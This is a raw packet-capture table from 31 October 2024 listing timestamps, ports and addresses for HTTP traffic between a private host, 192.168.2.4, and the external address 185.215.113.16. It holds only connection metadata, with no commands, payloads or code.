Oct 31, 2024 05:07:19.960227966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992139101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992157936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992170095 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992181063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992192984 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992283106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992336988 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992377996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992423058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992435932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992475986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992507935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992517948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992531061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992542028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.992553949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.992582083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.033901930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.033932924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.033951044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.034077883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.035078049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.035089016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.035099983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.035116911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.035134077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.035149097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.035171032 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.077585936 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077620983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077631950 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077727079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077739000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077758074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077769995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.077780962 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078180075 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078226089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078294992 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078324080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078339100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078351974 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078380108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078382969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078439951 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078459978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078707933 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078721046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078732014 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078763962 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078788042 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078799963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078811884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078824043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078854084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078860044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078879118 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078885078 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078907967 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.078919888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.078927040 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.079608917 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.079619884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.079632044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.079643011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.079679966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.079705954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111048937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111068964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111080885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111093998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111112118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111233950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111496925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111515999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111527920 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111551046 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111555099 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111579895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111583948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111610889 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111639977 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111684084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111696959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111707926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.111728907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.111752033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.152905941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.152919054 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.152930975 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.152976990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.152997971 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.154110909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.154124022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.154135942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.154170990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.154186964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196491003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196504116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196513891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196552038 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196588993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196607113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196649075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196676016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196717978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196778059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196789980 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196801901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196813107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.196834087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.196850061 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197031975 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197042942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197055101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197068930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197077990 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197098970 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197349072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197360039 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197380066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197390079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197402000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197426081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197443008 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197755098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197767019 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197777033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197802067 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197819948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197825909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197833061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.197856903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.197873116 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.230021000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230139017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230149031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230159998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230171919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230179071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230185032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230190992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230218887 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.230251074 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.230631113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230643034 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230654955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230667114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230680943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.230709076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.230938911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230952024 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230969906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230981112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.230997086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.231003046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.231007099 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.231040955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.231350899 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.231364012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.231374979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.231411934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.271858931 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.271873951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.271883965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.271966934 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.271992922 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.273025990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.273039103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.273050070 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.273087025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.273121119 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.315871000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.315934896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.315948009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.315960884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.315974951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.315988064 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316008091 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316019058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316035986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316049099 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316050053 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316061020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316071033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316078901 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316078901 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316083908 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316103935 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316113949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316318035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316354990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316366911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316376925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316400051 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316417933 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316819906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316832066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316843033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.316871881 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316891909 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.316993952 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.317004919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.317018032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.317028999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.317039967 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.317051888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.317070961 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.317092896 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349245071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349313021 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349325895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349337101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349349976 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349381924 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349394083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349406004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349419117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349431038 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349447966 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349462986 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349623919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349636078 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349647999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349669933 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349685907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349847078 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349858046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349869013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349881887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349893093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.349901915 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349917889 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.349937916 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.350259066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350271940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350284100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350315094 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.350332022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.350469112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350481033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350491047 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.350517035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.350536108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.434941053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.434961081 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.434988022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435004950 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435008049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435022116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435030937 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435064077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435158968 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435177088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435194969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435208082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435210943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435240984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435260057 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435427904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435480118 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435502052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435527086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435543060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435550928 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435570002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435570002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435585022 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435607910 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.435934067 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435950994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435978889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435993910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.435998917 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436011076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436022997 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436028004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436044931 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436072111 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436434031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436449051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436465025 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436479092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436495066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436520100 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436764956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436780930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436796904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436810970 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436814070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436825037 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436829090 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.436860085 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.436873913 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468312979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468370914 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468391895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468406916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468422890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468444109 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468471050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468486071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468502045 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468517065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468579054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468579054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468579054 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468607903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468607903 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468712091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468725920 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468782902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.468831062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468847036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468863964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.468879938 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469012976 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469055891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469074011 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469089031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469106913 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469130993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469172001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469187021 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469202042 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469218969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469233036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469234943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469249010 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469278097 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.469652891 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469702005 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.469753027 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:20.554014921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.554105043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.554130077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.554157972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.554182053 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:20.554178953 CET	49851	80	192.168.2.4	185.215.113.16
